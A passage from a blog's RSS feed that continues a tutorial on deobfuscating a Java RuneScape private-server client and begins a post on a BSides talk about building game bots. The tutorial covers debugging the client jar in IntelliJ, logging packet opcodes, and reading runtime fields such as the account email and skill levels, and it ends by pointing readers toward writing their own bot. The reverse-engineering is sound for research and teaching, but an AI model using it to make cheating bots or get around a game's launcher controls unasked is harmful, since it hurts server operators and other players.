&lt;span class=&quot;c1&quot;&gt;// https://github.com/TagsRocks/nardah_client/blob/a6a8fb6ab1a83b8a6e4b1bc155fdac31f7aa655c/src/com/nardah/Buffer.java#LL70C2-L73&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perfect, we can now conclude this is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeOpcode()&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;Lastly, we can observe that the last method &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C&lt;/code&gt; appears to be doing the inverse of the previously discovered &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeShort()&lt;/code&gt; method - instead of writing the short value in big-endian format, it writes the bytes in little-endian format.&lt;/p&gt;

&lt;p&gt;Similar the previous section, the next steps involve tracing the references of these helper methods to identify their respective callers. As packets serve as the means of communication between the client and server, this step is crucial and can be considered one of the most significant stages in the deobfuscation process.&lt;/p&gt;

&lt;h2 id=&quot;debugging-with-intellij-idea-dynamic&quot;&gt;Debugging with IntelliJ Idea (Dynamic)&lt;/h2&gt;

&lt;p&gt;The two preceding sections explored techniques that involved a static review process, which is indeed valuable. However, it is important to note that static review alone may overlook certain aspects or behaviors of the code. To achieve comprehensive results, combining static review with dynamic analysis is highly recommended. Furthermore dynamic analysis can help speed up the review process.&lt;/p&gt;

&lt;p&gt;One approach to achieving this comprehensive analysis is by leveraging the the built-in debugger provided by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IntelliJ IDEA IDE&lt;/code&gt;. It is worth noting that IntelliJ offers the capability to debug JAR files, which may be relatively unknown. Furthermore, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDEA&lt;/code&gt; also includes a decompiler which makes it that much easier.&lt;/p&gt;

&lt;p&gt;To accomplish this, follow the steps outlined below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Create a blank project in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDEA&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Open the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Project Settings&lt;/code&gt; by clicking the Project Name in the explorer and hitting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;F4&lt;/code&gt; (or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Project Structure&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;Click the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Libraries&lt;/code&gt; tab towards the left.&lt;/li&gt;
  &lt;li&gt;Within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Libraries&lt;/code&gt; interface, click the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt; and add the client jar.&lt;/li&gt;
  &lt;li&gt;Click &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OK&lt;/code&gt; towards the bottom right.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If done correctly, expand the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;External Libraries&lt;/code&gt; drop-down in the explorer and the client jar should be there. You can then expand the respective packages in the client jar and observe the decompiled classes:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-15-42-55.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The next step is to discover the location of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; method as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Run/Debug Configuration&lt;/code&gt; will need to be created. The easiest way to find this is to peek in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META-INF/MANIFEST.MF&lt;/code&gt;, specifically the value belonging to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Main-Class&lt;/code&gt; attribute:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Created-By: Apache Maven 3.8.6
Built-By: burak
Build-Jdk: 17.0.6
Automatic-Module-Name: com.redacted.client-build
Main-Class: com.redacted.client.awt.AwtInitialization
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When looking at the definition of the main method in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AwtInitialization&lt;/code&gt; class, the following is seen:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;var0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UnsupportedOperationException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Main-method not supported&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Initially, it might be confusing as to why the entry point of the application throws an exception. However, this behavior is a consequence of the shift in the launcher paradigm mentioned earlier. The purpose of this design is to provide a seamless experience for the player, eliminating the need to manually open the launcher (which will download the game client), and then open the game client separately. Instead, the launcher is programmed to load the game client directly into its frame, creating the illusion of a seamless transition. One advantage for developers is that this approach allows them to enforce a specific pathway, ensuring that players can only access the game client by interacting with the launcher.&lt;/p&gt;

&lt;p&gt;There are two approaches for getting around this. The first involves decompiling the launcher to understand how it loads the game client and then replicating that process. This method requires more effort and technical knowledge. The second approach is simpler and involves adding the launcher as an additional library to the project and then creating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Run/Debug Configuration&lt;/code&gt; using the launcher. As such, the second method will be used.&lt;/p&gt;

&lt;p&gt;After adding the launcher jar as an additional library, we can repeat the process of locating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;Once the class containing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; method has been located, right click the class and choose `Debug ‘&lt;classname&gt;.main()':&lt;/classname&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-46-07.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This will open the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Run/Debug Configuration&lt;/code&gt; menu. Under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Build and run&lt;/code&gt; section, it will most likely say &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;module not specified&lt;/code&gt;. Click the dropdown and select the appropriate JDK Version and finally click &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-46-25.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Afterwards, the client should launch.&lt;/p&gt;

&lt;p&gt;Now, it’s time to put the debugging functionalities to the test. As a way to wrap up this blog post, we will delve into the findings obtained through static analysis, specifically focusing on verifying if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; class indeed represents the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client&lt;/code&gt; class and investigating the behavior of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeOpcode()&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;In the process of confirming the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeOpcode()&lt;/code&gt; method, we begin by locating the class that contains this method, which in this case is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b_0&lt;/code&gt;. It’s worth noting that obfuscators often use similar class names, differentiating them solely by case sensitivity. For instance, two distinct classes, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt;, can have entirely different functionalities. To address this, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFR&lt;/code&gt; decompiler automatically renames classes when encountering such situations. It also adds a comment within the class denoting the original name of the file, as shown in the following snippet:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/*
 * Renamed from client.b
 */&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;b_0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This means that in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDEA&lt;/code&gt;, we will need to look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b.java&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After locating the presumed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeOpcode()&lt;/code&gt; method within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt; class, we can proceed by setting a breakpoint on the first line within its definition:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-46-51.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After running the launcher using the debugger which will in-turn load the game client, we can attempt to login to our account. As soon as we successfully login, we notice that the breakpoint is successfully hit!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-47-10.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In this case, the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; was passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeOpcode()&lt;/code&gt; call. What’s more interesting is that towards the left-hand sign, we can observe the call stack.&lt;/p&gt;

&lt;p&gt;Furthermore by double clicking the previous frame, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDEA&lt;/code&gt; will take us to where the call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeOpcode()&lt;/code&gt; was invoked as well as provide context on the state of the variables at that current time:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-49-17.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The call stack will be extremely helpful in understanding in how the code flows end-to-end.&lt;/p&gt;

&lt;p&gt;It’s worth noting that we have the flexibility to customize the behavior of this specific breakpoint. Considering that the client likely includes a ping functionality to maintain communication with the server, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeOpcode()&lt;/code&gt; method may be called frequently. Suspending the entire process at each invocation could make the debugging process cumbersome.&lt;/p&gt;

&lt;p&gt;To make the breakpoint less intrusive:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Right click the breakpoint and click the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;More&lt;/code&gt; hyperlink.&lt;/li&gt;
  &lt;li&gt;Uncheck &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Suspend&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Evaluate and log&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Underneath the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Evaluate and log&lt;/code&gt;, enter the following into the input box:
        &lt;ul&gt;
          &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;Client sent opcode: &quot; + var1&lt;/code&gt;
            &lt;ul&gt;
              &lt;li&gt;Note: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var1&lt;/code&gt; is the name of the method argument.&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-52-45.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, let’s proceed with performing a repeated action in the client that triggers the sending of a packet to the server. One suitable action for this purpose is sending a series of chat messages in quick succession. In our case,  three chat messages were sent back-to-back.&lt;/p&gt;

&lt;p&gt;When looking at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDEA&lt;/code&gt; console, we see the breakpoint log the value of the opcodes:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-52-59.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the screenshot above, you can deduce that the opcode associated with a chat message is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Lastly, let’s wrap up the blog post by examining what we believe to be the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client&lt;/code&gt; class aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As previously shown in the call stack, the invocation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeOpcode()&lt;/code&gt; method originated from within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; class.&lt;/p&gt;

&lt;p&gt;To deepen our understanding of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; class, we can set a breakpoint on the same line that was indicated in the call stack. Since we already know that this line will be hit during execution, we can assume that the breakpoint will be invoked. There are situations where it makes sense spraying and praying breakpoints all over the class until one is hit.&lt;/p&gt;

&lt;p&gt;As mentioned earlier, the Client class contains references to various instances of interest, such as the localPlayer instance. However, in obfuscated code, identifying the actual types of these instances can be challenging, particularly when the variables are declared with non-descriptive names, as shown in the example below:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;jy_0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pR&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p9&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;px&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gU&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pF&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zw_0&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Cp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b_0&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;CC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;jS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;QK&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case, the variable names lack clear indications of their corresponding types, making it difficult to determine their actual purpose and functionality. However if we were able to examine the values at runtime, we can gain valuable insights that make it considerably easier to discern their intended types and functionalities.&lt;/p&gt;

&lt;p&gt;After setting the new breakpoint within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; class, it should automatically hit (assuming you’re logged in). Once the breakpoint is hit, we can examine the fields within &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDEA&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For example, let’s attempt to discover what value the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QK&lt;/code&gt; variable of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;String&lt;/code&gt; holds. To open the evaluator, hit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ALT-F8&lt;/code&gt; or click the little calculator icon in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debugger&lt;/code&gt; view.&lt;/p&gt;

&lt;p&gt;Once the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Evaluate&lt;/code&gt; menu opens, type in the expression you want to evaluate, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this.QK&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-53-17.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As shown above, we can see that this variable stores the email address associated with our account!&lt;/p&gt;

&lt;p&gt;To conclude this section, let’s find something that may be interesting to a bot developer such as the health of our character.&lt;/p&gt;

&lt;p&gt;In most cases, the health of a character is usually defined within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localPlayer&lt;/code&gt; instance, which is typically of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Player&lt;/code&gt;. However, in this particular client, it seems that the conventional assumption does not hold true. This introduces an interesting scenario where the developer has made a small change that deviates from the usual process, thereby throwing off the process.&lt;/p&gt;

&lt;p&gt;Instead we can deviate to the class shown in the earlier section which initializes several arrays related to the player’s skills:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/*
 * Renamed from rw.jd
*/&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;jd_0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Attack&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Defence&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Strength&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Hitpoints&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Ranged&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Prayer&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;...}&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;P&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s explore the two int arrays shown above. After the breakpoint is hit in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; class, we can call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jd.P&lt;/code&gt; in the evaluator as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; int array is static:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-54-56.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As shown in the image above, thes appear to be the level of our character’s skills. For context, 99 is the maximum level a skill can be in Runescape (not including boosts).&lt;/p&gt;

&lt;p&gt;Here is a screenshot of my character’s skills for comparison:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-55-35.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the realm of Runescape, certain skills, especially those related to combat, can undergo boosts or hindrances. This concept introduces two distinctions: base levels and active levels. The base level represents the constant value of a skill, while the active level reflects any temporary boosts or hindrances applied to that skill. In the case of health, or hitpoints, we are specifically interested in the active level since the base level remains a constant 99.&lt;/p&gt;

&lt;p&gt;As we didn’t have any skill boosts at the time the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jd.P&lt;/code&gt; array was examined, we’re unsure if whether this array holds the base levels or active levels. To confirm, we’ll drink a potion that will boost some skills and hinder our hitpoints and re-examine the field.&lt;/p&gt;

&lt;p&gt;For comparison purposes, here our how are skills appear after drinking the potion (observe the attack skill (sword) is 117 and the hitpoints (health) is now 89):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-55-54.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s re-examine the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jd.P&lt;/code&gt; int array once more to see if any values were changed due to the boosts:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-54-56.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It shows the same values meaning this array is storing the base levels of our skills. Now let’s examine the int array that’s initialized on the next line, aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p&lt;/code&gt; (lower-case):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-17-56-39.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As shown in the evaluation prompt above, comparing the values with the screenshot of our boosted skills, this array does indeed storing our active levels!&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;The primary objective of this blog post was to showcase various techniques that can be utilized to assist in the deobfuscation of an RSPS Client. These techniques, while specifically demonstrated in the context of RSPS, can be applied more broadly to tackle Java obfuscation in various real-world scenarios.&lt;/p&gt;

&lt;p&gt;Please note that the techniques demonstrated above are not an exhaustive list, and there are indeed more advanced and interesting techniques available for deobfuscation. One such approach involves utilizing tools like &lt;a href=&quot;https://codeql.github.com/&quot;&gt;CodeQL&lt;/a&gt; or &lt;a href=&quot;https://github.com/wh1t3p1g/tabby&quot;&gt;Tabby&lt;/a&gt; to query the code based on specific patterns.&lt;/p&gt;

&lt;p&gt;Armed with the knowledge gained from this blog post, you are now equipped to apply the techniques showcased in the talk to develop your own bot client.&lt;/p&gt;

&lt;p&gt;Thanks for taking out the time to read this and please reach out if there any questions.&lt;/p&gt;
</description>
        <pubDate>Mon, 15 May 2023 00:00:00 +0000</pubDate>
        <link>/2023/05/15/deobfuscating-java-game-client/</link>
        <guid isPermaLink="true">/2023/05/15/deobfuscating-java-game-client/</guid>
        
        <category>Research</category>
        
        
      </item>
    
      <item>
        <title>BSides Prishtina 2023 - Building Bots for Java Games - A Beginner's Guide</title>
        <description>&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;In the summer of 2023, I had the opportunity to deliver a talk at BSides Prishtina, focusing on the development of bots for Java Games, specifically centered around Runescape Private Servers.&lt;/p&gt;

&lt;h2 id=&quot;slides&quot;&gt;Slides&lt;/h2&gt;

&lt;iframe src=&quot;https://docs.google.com/presentation/d/1fw1XW90MXjwSQJWQ-KGdpe4bJVWo0ooA-LmAWE72XiQ/embed&quot; frameborder=&quot;0&quot; width=&quot;600&quot; height=&quot;400&quot; allowfullscreen=&quot;true&quot; mozallowfullscreen=&quot;true&quot; webkitallowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;

&lt;h2 id=&quot;video-presentation&quot;&gt;Video Presentation&lt;/h2&gt;

